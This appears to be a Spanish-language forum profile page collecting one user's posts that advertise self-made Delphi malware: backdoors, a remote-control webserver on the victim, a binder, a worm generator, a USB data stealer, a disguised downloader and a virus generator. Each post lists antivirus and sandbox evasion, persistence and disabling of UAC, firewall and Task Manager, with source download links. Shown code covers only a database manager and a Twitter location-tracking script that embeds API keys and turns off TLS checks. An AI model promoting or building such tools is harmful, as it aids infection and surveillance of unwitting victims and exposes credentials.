Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#1
Un programa en Delphi para generar un acceso directo para ejecutar un backdoor usando powershell.

Una imagen :



Un video con ejemplos de uso :

[youtube=640,360]https://www.youtube.com/watch?v=86LDEt6DPhc[/youtube]

Si quieren bajar el programa y el proyecto con codigo fuente lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.
#2
Un programa en Delphi que funciona como un backdoor persistente de conexion directa.

Tiene las siguientes opciones :

  • Principales :

  • Backdoor persistente de conexion directa

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=M2SA4lvGdAg[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#3
Un programa en Delphi que convierte a la victima en un webserver para mandar instrucciones.

Tiene las siguientes opciones :

  • Principales :

  • WebServer
  • Ejecutar comandos y recibir respuesta
  • Descargar y ejecutar ejecutables de forma paralela
  • Messages Bomber

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Unas imagenes :





    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=BS4P6AE4i68[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#4
Programación General / [Delphi] DH Binder 2.0
10 Febrero 2017, 00:30 AM
Un Binder hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Agregar infinitos archivos
  • Opcion para ocultar cualquiera de los archivos
  • Se puede cargar de forma : Normal,Oculta y no ejecutar , cualquiera de los archivos

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=Wi5IHGSvyXk[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.
#5
Un programa en Delphi para administrar bases de datos del tipo :

  • MSSQL
  • MySQL
  • SQLite

    Unas imagenes :







    El codigo :

    Código (delphi) [Seleccionar]

    // DH Database Manager 0.8
    // (C) Doddy Hackman 2016

    unit manager;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
      Vcl.StdCtrls,
      Vcl.DBCtrls, Vcl.Grids, Vcl.DBGrids, ZAbstractConnection, ZConnection,
      ZAbstractTable, ZDataset, Data.DB, ZAbstractRODataset, ZAbstractDataset,
      ShellApi, Vcl.ImgList, Vcl.Imaging.pngimage;

    type
      TFormHome = class(TForm)
        imgLogo: TImage;
        status: TStatusBar;
        pcOptions: TPageControl;
        tsConfiguration: TTabSheet;
        tsOptions: TTabSheet;
        tsGrid: TTabSheet;
        gbConfiguration: TGroupBox;
        lblHost: TLabel;
        txtHostname: TEdit;
        lblPort: TLabel;
        txtPort: TEdit;
        lblUsername: TLabel;
        txtUsername: TEdit;
        lblPassword: TLabel;
        txtPassword: TEdit;
        lblDatabase: TLabel;
        txtDatabase: TEdit;
        cmbService: TComboBox;
        btnConnect: TButton;
        btnDisconnect: TButton;
        gbOptions: TGroupBox;
        lblTable: TLabel;
        lblSQL_Query: TLabel;
        cmbTables: TComboBox;
        txtSQL_Query: TEdit;
        btnLoadTable: TButton;
        btnExecute: TButton;
        connection: TZConnection;
        lblService: TLabel;
        grid_connection: TDBGrid;
        nav_connection: TDBNavigator;
        query_connection: TZQuery;
        table_connection: TZTable;
        datasource_connection: TDataSource;
        btnLoadDB: TButton;
        odLoadDB: TOpenDialog;
        btnRefreshTables: TButton;
        ilIconosMenu: TImageList;
        ilIconosBotones: TImageList;
        procedure btnConnectClick(Sender: TObject);
        procedure btnDisconnectClick(Sender: TObject);
        procedure btnLoadTableClick(Sender: TObject);
        procedure btnExecuteClick(Sender: TObject);
        procedure cmbServiceSelect(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure btnLoadDBClick(Sender: TObject);
        procedure btnRefreshTablesClick(Sender: TObject);
      private
        { Private declarations }
        procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
      public
        { Public declarations }
        procedure cargarTablas();
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}
    // Functions

    function message_box(title, message_text, type_message: string): string;
    begin
      if not(title = '') and not(message_text = '') and not(type_message = '') then
      begin
        try
          begin
            if (type_message = 'Information') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end
            else if (type_message = 'Warning') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONWARNING);
            end
            else if (type_message = 'Question') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONQUESTION);
            end
            else if (type_message = 'Error') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONERROR);
            end
            else
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end;
            Result := '[+] MessageBox : OK';
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    // Function to DragDrop

    // Based in : http://www.clubdelphi.com/foros/showthread.php?t=85665
    // Thanks to ecfisa

    var
      bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;

    procedure TFormHome.DragDropFile(var Msg: TMessage);
    var
      nombre_archivo, extension: string;
      limite, number: integer;
      path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
    begin
      limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
      if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
        for number := 0 to limite do
        begin
          bypass_window(number, 1);
        end;
      for number := 0 to limite do
      begin
        DragQueryFile(Msg.WParam, number, path, 255);

        //

        if (FileExists(path)) then
        begin
          nombre_archivo := ExtractFilename(path);
          extension := ExtractFileExt(path);
          extension := StringReplace(extension, '.', '',
            [rfReplaceAll, rfIgnoreCase]);
          if (extension = 'sqlite') or (extension = 'db3') or (extension = 's3db')
          then
          begin
            txtDatabase.Text := path;
            status.Panels[0].Text := '[+] DB Loaded';
            message_box('DH Database Manager 0.8', 'DB Loaded', 'Information');
          end
          else
          begin
            status.Panels[0].Text := '[-] The DB is not valid';
            message_box('DH Database Manager 0.8', 'The DB is not valid',
              'Warning');
          end;
        end;

        //

      end;
      DragFinish(Msg.WParam);
    end;

    //

    procedure TFormHome.cargarTablas();
    var
      lst: TStrings;
      count: integer;
    begin
      if (connection.Connected = true) then
      begin
        try
          begin
            cmbTables.Clear;
            lst := TStringList.Create;
            connection.GetTableNames('', lst);
            count := lst.count;
            cmbTables.Items.Assign(lst);
            lst.Free();
            if (count >= 1) then
            begin
              cmbTables.ItemIndex := 0;
            end;
            ShowMessage('Tables loaded : ' + IntToStr(count));
          end;
        except
          begin
            ShowMessage('Tables not found');
          end;
        end;
      end
      else
      begin
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.cmbServiceSelect(Sender: TObject);
    begin
      if (cmbService.Text = 'MSSQL') then
      begin
        txtDatabase.ReadOnly := false;
        btnLoadDB.Enabled := false;
      end
      else if (cmbService.Text = 'MYSQL') then
      begin
        txtDatabase.ReadOnly := false;
        btnLoadDB.Enabled := false;
      end
      else if (cmbService.Text = 'SQLITE') then
      begin
        txtDatabase.Text := '';
        txtDatabase.ReadOnly := true;
        btnLoadDB.Enabled := true;
      end
      else
      begin
        status.Panels[0].Text := '[-] Service not found';
        message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
      end;
    end;

    procedure TFormHome.FormCreate(Sender: TObject);
    begin

      //

      if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
      begin
        @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
          'ChangeWindowMessageFilter');
        bypass_window(WM_DROPFILES, 1);
        bypass_window(WM_COPYDATA, 1);
        bypass_window($0049, 1);
      end;
      DragAcceptFiles(Handle, true);

      //

      UseLatestCommonDialogs := false;
      odLoadDB.InitialDir := GetCurrentDir;
      odLoadDB.Filter :=
        'SQLITE files (*.sqlite)|*.SQLITE|DB3 Files (*.db3)|*.DB3|S3DB File (*.s3db)|*.S3DB';

      //

      btnLoadDB.Enabled := false;
    end;

    procedure TFormHome.btnConnectClick(Sender: TObject);
    begin

      // MSSQL : localhost\SQLEXPRESS
      // admin:123456

      // MYSQL : localhost:3306
      // root

      if (cmbService.Text = 'MSSQL') then
      begin
        if (txtHostname.Text = '') or (txtUsername.Text = '') or
          (txtPassword.Text = '') then
        begin
          status.Panels[0].Text := '[-] Missing data';
          message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
        end
        else
        begin
          try
            begin
              connection.HostName := txtHostname.Text;

              if not(txtDatabase.Text = '') then
              begin
                connection.Database := txtDatabase.Text;
              end;

              connection.Database := 'sistema';
              connection.Protocol := 'mssql';
              connection.User := txtUsername.Text;
              connection.Password := txtPassword.Text;
              connection.Connect;

              status.Panels[0].Text := '[+] Connected';
              message_box('DH Database Manager 0.8', 'Connected', 'Information');

              if not(txtDatabase.Text = '') then
              begin
                cargarTablas();
              end;

            end;
          except
            begin
              status.Panels[0].Text := '[-] Error connecting';
              message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
            end;
          end;
        end;
      end
      else if (cmbService.Text = 'MYSQL') then
      begin
        if (txtHostname.Text = '') or (txtPort.Text = '') or (txtUsername.Text = '')
        then
        begin
          status.Panels[0].Text := '[-] Missing data';
          message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
        end
        else
        begin
          try
            begin
              connection.HostName := txtHostname.Text;
              connection.Port := StrToInt(txtPort.Text);

              if not(txtDatabase.Text = '') then
              begin
                connection.Database := txtDatabase.Text;
              end;

              connection.Protocol := 'mysql-5';

              connection.User := txtUsername.Text;
              connection.Password := txtPassword.Text;
              connection.Connect;

              status.Panels[0].Text := '[+] Connected';
              message_box('DH Database Manager 0.8', 'Connected', 'Information');

              if not(txtDatabase.Text = '') then
              begin
                cargarTablas();
              end;

            end;
          except
            begin
              status.Panels[0].Text := '[-] Error connecting';
              message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
            end;
          end;
        end;
      end
      else if (cmbService.Text = 'SQLITE') then
      begin
        if not(FileExists(txtDatabase.Text)) then
        begin
          status.Panels[0].Text := '[-] SQLITE Database not found';
          message_box('DH Database Manager 0.8', 'SQLITE Database not found',
            'Warning');
        end
        else
        begin
          try
            begin
              connection.Protocol := 'sqlite-3';
              connection.Database := txtDatabase.Text;
              connection.Connect;

              status.Panels[0].Text := '[+] Connected';
              message_box('DH Database Manager 0.8', 'Connected', 'Information');

              if not(txtDatabase.Text = '') then
              begin
                cargarTablas();
              end;

            end;
          except
            begin
              status.Panels[0].Text := '[-] Error connecting';
              message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
            end;
          end;
        end;
      end
      else
      begin
        status.Panels[0].Text := '[-] Service not found';
        message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
      end;

    end;

    procedure TFormHome.btnDisconnectClick(Sender: TObject);
    begin
      if connection.Connected = true then
      begin
        connection.Connected := false;
        status.Panels[0].Text := '[+] Disconnect';
        message_box('DH Database Manager 0.8', 'Disconnect', 'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] Not connected';
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.btnExecuteClick(Sender: TObject);
    begin
      if (connection.Connected = true) then
      begin
        try
          begin
            query_connection.Active := false;
            query_connection.SQL.Clear;
            query_connection.SQL.Add(txtSQL_Query.Text);
            query_connection.Active := true;
            datasource_connection.DataSet := query_connection;
            datasource_connection.DataSet.Refresh;
            status.Panels[0].Text := '[+] Command Executed';
            message_box('DH Database Manager 0.8', 'Command Executed',
              'Information');
          end;
        except
          on E: Exception do
          begin
            if (E.Message = 'Can not open a Resultset') then
            begin
              status.Panels[0].Text := '[?] SQL Query not return ResultSet';
              message_box('DH Database Manager 0.8',
                'SQL Query not return ResultSet', 'Information');
            end
            else
            begin
              status.Panels[0].Text := '[-] SQL Query Error';
              message_box('DH Database Manager 0.8', 'SQL Query Error', 'Error');
            end;
          end;
        end;
      end
      else
      begin
        status.Panels[0].Text := '[-] Not connected';
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.btnLoadDBClick(Sender: TObject);
    begin
      if odLoadDB.Execute then
      begin
        txtDatabase.Text := odLoadDB.filename;
      end;
    end;

    procedure TFormHome.btnLoadTableClick(Sender: TObject);
    begin
      if (connection.Connected = true) then
      begin
        try
          begin
            table_connection.Active := false;
            table_connection.TableName := cmbTables.Text;
            datasource_connection.DataSet := table_connection;
            table_connection.Active := true;
            datasource_connection.DataSet.Refresh;
            status.Panels[0].Text := '[+] Table Loaded';
            message_box('DH Database Manager 0.8', 'Table Loaded', 'Information');
          end;
        except
          begin
            status.Panels[0].Text := '[-] Error loading table';
            message_box('DH Database Manager 0.8', 'Error loading table', 'Error');
          end;
        end;
      end
      else
      begin
        status.Panels[0].Text := '[-] Not connected';
        message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
      end;
    end;

    procedure TFormHome.btnRefreshTablesClick(Sender: TObject);
    begin
      cargarTablas();
    end;

    end.

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#6
Programación General / [Delphi] DH Worm 1.0
10 Enero 2017, 15:11 PM
Un Worm Generator hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Mezclar una imagen con un malware y que la imagen resultante se vea bien
  • Descargar y dividir el malware de la imagen
  • USB Spread (tecnica de shortcuts y carpetas ocultas)
  • P2P Spread
  • ZIP Spread
  • Antidoto para eliminar los 3 tipos de spread

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=s6Oy7PSkbQ4[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.
#7
Como regalo de navidad , esta vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute

    * Formatos de musica soportados : mp3,m4a,wma
    * Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

  • Estaciones de radios de tipo : Rock,Electronica,Rap,Country,Musica clasica y mas generos ...
  • Tambien se puede reproducir cualquier radio online desde su link correspondiente

    * Las opciones de radio funcionan gracias a mplayer portable , no borren la carpeta "mplayer".

    Una imagen :



    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso es todo.
#8
Un programa para capturar los datos de cualquier USB que se conecte a la computadora.

Tiene las siguientes opciones :

  • Principales :

  • Funciona en segundo plano
  • Permite usar una contraseña personalizada en el comprimido resultante
  • Permite seleccionar las extensiones que se deseen del usb que se conecte
  • En el comprimido muestra informacion sobre la computadora en la que se capturo los datos

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=OYq3tOaiiy4[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.
#9
Scripting / [Perl] DH Twitter Locator 0.6
11 Noviembre 2016, 14:20 PM
Un script en Perl para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

  • Extrae informacion del perfil
  • Scanea los tweets en busca de apps y locations
  • Permite cargar las localizaciones en google maps
  • Guarda todo en logs

    El codigo :

    Código (perl) [Seleccionar]

    # !usr/bin/perl
    # DH Twitter Locator 0.6
    # (C) Doddy Hackman 2016
    # Credits :
    # Based in idea original of : tinfoleak by Vicente Aguilera Diaz

    use LWP::UserAgent;
    use IO::Socket::SSL;
    use HTTP::Request::Common;
    use JSON;
    use Data::Dumper;
    use MIME::Base64;
    use Date::Parse;
    use DateTime;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;

    my $consumer_key = "IQKbtAYlXLripLGPWd0HUA";
    my $consumer_secret = "GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU";

    my $bearer_token = "$consumer_key:$consumer_secret";
    my $bearer_token_64 = encode_base64($bearer_token);

    my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
    $nave->agent(
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
    );
    $nave->timeout(5);

    GetOptions(
    "profile"   => \$profile,
    "apps"   => \$apps,
        "locations"  => \$locations,
        "username=s"   => \$username,
        "count=i"   => \$count,
        "savefile=s"  => \$savefile,
    );

    head();

    if ($profile) {
    if($profile && $username) {
    search_profile($username);
    } else {
    sintax();
    }
    }
    if ($apps) {
    if($apps && $username && $count) {
    search_apps($username,$count);
    } else {
    sintax();
    }
    }
    if ($locations) {
    if($locations && $username && $count) {
    search_locations($username,$count);
    } else {
    sintax();
    }
    }
    if(!$profile and !$apps and !$locations) {
    sintax();
    } else {
    if($savefile) {
    printear_logo("\n[+] Logs $savefile saved\n");
    }
    }

    copyright();

    # Functions

    sub search_profile {
    my ($username) = @_;

    printear_titulo("\n[+] Loading Profile in Username : ");
    print $username." ...\n\n";

    #my $code = toma("http://localhost/twitter/getuser.php");
    my $code = get_code("https://api.twitter.com/1.1/users/show.json?screen_name=".$username);

    my $resultado = JSON->new->decode($code);

    my $screen_name = $resultado->{"screen_name"};
    if($screen_name eq "") {
    $screen_name = "Not Found";
    }
    my $name = $resultado->{"name"};
    if($name eq "") {
    $name = "Not Found";
    }
    my $id = $resultado->{"id_str"};
    if($id eq "") {
    $id = "Not Found";
    }
    my $created = parse_date($resultado->{"created_at"});
    if($created eq "") {
    $created = "Not Found";
    }
    my $followers = $resultado->{"followers_count"};
    if($followers eq "") {
    $followers = "Not Found";
    }
    my $tweets_count = $resultado->{"statuses_count"};
    if($tweets_count eq "") {
    $tweets_count = "Not Found";
    }
    my $location = $resultado->{"location"};
    if($location eq "") {
    $location = "Not Found";
    }
    my $description = $resultado->{"description"};
    if($description eq "") {
    $description = "Not Found";
    }
    my $url = $resultado->{"url"};
    if($url eq "") {
    $url = "Not Found";
    }
    my $profile_image = $resultado->{"profile_image_url"};
    if($profile_image eq "") {
    $profile_image = "Not Found";
    }

    printear("Screen Name : ");
    print $screen_name."\n";
    printear("Username : ");
    print $name."\n";
    printear("ID : ");
    print $id."\n";
    printear("Created at : ");
    print $created."\n";
    printear("Followers : ");
    print $followers."\n";
    printear("Tweets count : ");
    print $tweets_count."\n";
    printear("Location : ");
    print $location."\n";
    printear("Description : ");
    print $description."\n";
    printear("URL : ");
    print $url."\n";
    printear("Profile Image : ");
    print $profile_image."\n";

    printear_titulo("\n[+] Profile Loaded\n");

    if($savefile) {
    savefile($savefile,"\n[+] Loading Profile in Username : $username\n");
    savefile($savefile,"Screen Name : $screen_name");
    savefile($savefile,"Username : $name");
    savefile($savefile,"ID : $id");
    savefile($savefile,"Created at : $created");
    savefile($savefile,"Followers : $followers");
    savefile($savefile,"Tweets count : $tweets_count");
    savefile($savefile,"Location : $location");
    savefile($savefile,"Description : $description");
    savefile($savefile,"URL : $url");
    savefile($savefile,"Profile Image : $profile_image");
    savefile($savefile,"\n[+] Profile Loaded");
    }

    #for my $number(1..5) {
    # sleep(1);
    # printear_logo("number : ");
    # printear_titulo($number."\r");
    #}
    #printear_titulo("Number : Finished\n");
    }

    sub search_apps {
    my($username,$count) = @_;

    printear_titulo("\n[+] Searching Apps in Username : ");
    print $username." ...\n\n";

    #my $code = toma("http://localhost/twitter/timeline.php");
    my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);

    my $resultado = JSON->new->decode($code);

    my @resultado = @$resultado;

    my $i = 0;

    if(int(@resultado) eq "0") {
    printear_rojo("[-] Tweets not found\n");
    } else {
    printear("[+] Tweets found : ");
    print int(@resultado)."\n\n\n";
    printear("  Tweet\t\t Date\t\t   Apps\n");
    print "  -----------------------------------------------------\n\n";

    if($savefile) {
    savefile($savefile,"\n[+] Searching Apps in Username : $username\n");
    savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
    savefile($savefile,"  Tweet\t\t Date\t\t   Apps\n");
    savefile($savefile,"  -----------------------------------------------------\n");
    }

    for my $result(@resultado) {
    $i++;
    my $source_split = $result->{"source"};
    if($source_split=~/>(.*)<\/a>/) {
    my $source = $1;
    my $datetime = parse_date($result->{"created_at"});
    if($source ne "") {
    printf("   %-5s %-22s %-15s\n", $i,$datetime,$source);
    if($savefile) {
    savefile($savefile,"   $i\t$datetime\t$source");
    }
    }
    }
    }

    printear_titulo("\n\n[+] Apps Loaded\n");

    if($savefile) {
    savefile($savefile,"\n[+] Apps Loaded\n");
    }
    }

    }

    sub search_locations {
    my($username,$count) = @_;

    printear_titulo("\n[+] Searching Locations in Username : ");
    print $username." ...\n\n";

    #my $code = toma("http://localhost/twitter/timeline.php");
    my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);

    my $resultado = JSON->new->decode($code);

    my @resultado = @$resultado;

    my $i = 0;

    if(int(@resultado) eq "0") {
    printear_rojo("[-] Tweets not found\n");
    } else {
    printear("[+] Tweets found : ");
    print int(@resultado)."\n\n\n";

    printear("  Tweet\t\t Date\t\t     Locations\n");
    print "  -----------------------------------------------------\n\n";

    if($savefile) {
    savefile($savefile,"\n[+] Searching Locations in Username : $username\n");
    savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
    savefile($savefile,"  Tweet\t\t Date\t\t   Locations\n");
    savefile($savefile,"  -----------------------------------------------------\n");
    }

    for my $result(@resultado) {
    $i++;
    my $place = $result->{"place"}{"country"};
    my $coordinates1 = $result->{"geo"}{"coordinates"}[0];
    my $coordinates2 = $result->{"geo"}{"coordinates"}[1];
    my $datetime = parse_date($result->{"created_at"});
    if($place ne "") {
    my $data = "";
    if($coordinates1 ne "" && $coordinates2 ne "") {
    $data = $place." [".$coordinates1.",".$coordinates2."]";
    } else {
    $data = $place;
    }
    printf("   %-5s %-22s %-15s\n", $i,$datetime,$data);
    if($savefile) {
    savefile($savefile,"   $i\t$datetime\t$data");
    }
    }
    }
    printear_titulo("\n\n[+] Locations Loaded\n");
    if($savefile) {
    savefile($savefile,"\n[+] Locations Loaded\n");
    }
    }

    }

    # More Functions

    sub get_token {
    my $code = $nave->request(POST(
    "https://api.twitter.com/oauth2/token",
    "Content-Type" => "application/x-www-form-urlencoded;charset=UTF-8",
    "Authorization" => "Basic $bearer_token_64",
    Content => { "grant_type" => "client_credentials" }
    ))->content;
    my $resultado = JSON->new->decode($code);
    my $token = $resultado->{"access_token"};
    return $token;
    }

    sub get_code {
    my $url = shift;
    my $code = $nave->request(GET($url,"Authorization" => "Bearer " . get_token()))->content;
    return $code;
    }

    sub parse_date {
        my $date = shift;       
        $time = str2time($date);   
        my $datetime = DateTime->from_epoch(epoch => $time);
        return $datetime->mdy("/")." ".$datetime->hms;
    }

    sub toma {
        return $nave->get( $_[0] )->content;
    }

    sub savefile {
    my ($filename,$text) = @_;
    open( SAVE, ">>" . $filename );
    print SAVE $text . "\n";
    close SAVE;
    }

    sub printear {
        cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
        cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
        cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub printear_rojo {
        cprint( "\x034" . $_[0] . "\x030" );
    }

    sub printear_azul {
        cprint( "\x033" . $_[0] . "\x030" );
    }

    sub sintax {
        printear("\n[+] Sintax : ");
        print "perl $0 <option> <value>\n";
        printear("\n[+] Options : \n\n");
        print "-profile : Show profile information\n";
        print "-apps : List apps in tweets\n";
        print "-locations : List locations in tweets\n";
        print "-username <username> : Set username to find\n";
    print "-count <count> : Set count to find\n";
    print "-savefile <filename> : Save results\n";
        printear("\n[+] Example : ");
        print "perl dh_twitter_locator.pl -profile -apps -locations -username test -count 800 -savefile results.txt\n";
        copyright();
    }

    sub head {
        printear_logo("\n-- == DH Twitter Locator 0.6 == --\n\n");
    }

    sub copyright {
        printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
        exit(1);
    }

    #The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=56J0Hko5TfA[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#10
Un programa en Delphi para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

  • Extrae informacion del perfil
  • Scanea los tweets en busca de apps y locations
  • Permite cargar las localizaciones en google maps
  • Guarda todo en logs

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=R0LdJ-m-1yg[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#11
Un Downloader hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :

  • Mezclar una imagen con un malware y que la imagen resultante se vea bien
  • Descargar manualmente o generar el stub para descargar la imagen infectada y ejecutar el malware

  • Secundarias :

    [++] Ocultar rastros
    [++] Persistencia
    [++] UAC Tricky
    [++] Extraccion de malware personalizado
    [++] Editar la fecha de creacion del malware
    [++] File Pumper
    [++] Extension Spoofer
    [++] Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMWare

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates
    [++] MsConfig

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=HA9GbyEEx7U[/youtube]

    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    SourceForge.
    Github.

    Eso seria todo.
#12
Un generador de virus hecho en Delphi.

Tiene las siguientes opciones :

  • Funciones

    [++] Borrar archivos
    [++] Matar procesos
    [++] Ejecutar comandos
    [++] Abrir CD
    [++] Ocultar iconos y taskbar
    [++] Messages Single & Bomber
    [++] SendKeys
    [++] Abrir word y escribir solo
    [++] Crazy Mouse
    [++] Crazy Hour
    [++] Apagar,reiniciar y cerrar sesion
    [++] Abrir URL
    [++] Cargar Paint
    [++] Cambiar texto del taskbar
    [++] Apagar monitor
    [++] Hacer que la computadora hable
